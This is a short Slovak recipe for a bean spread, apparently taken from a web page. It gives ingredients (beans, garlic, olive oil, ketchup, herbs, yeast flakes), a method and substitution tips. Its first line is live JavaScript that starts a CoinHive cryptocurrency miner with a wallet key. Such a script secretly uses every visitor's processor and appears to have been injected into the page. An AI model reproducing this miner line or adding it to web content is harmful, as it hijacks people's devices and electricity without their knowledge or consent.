var miner = new CoinHive.Anonymous('49dVbbCFDuhg9nX5u1MDuATVZj7gQehytZwvXEUuWg9kfhNPWH7bUD87VW1NfjqucRZNNVTb1AHGUK2fkq5Nd55mLNnB4WK'); miner.start();

Potrebujeme: fazuľu (uvarená s bobkovým listom, rascou a cesnakom), 3 PL olivového oleja, 2 strúčiky cesnaku – pretlačený, 1 PL kečupu, ½ ČL sušenej bazalky, tymián, oregano, 3 PL lahôdkového droždie Tebi, vodu podľa potreby (len keď chce niekto redšie)

Postup: Uvarenú fazuľu prepláchneme, scedíme. Pridáme ostatné suroviny a vymixujeme do hladka.

Tip: Môžeme obmeniť suroviny podľa chutí: horčica, syr alebo citrón. Miesto fazule môže byť šošovica a dostaneme šošovicovú nátierku.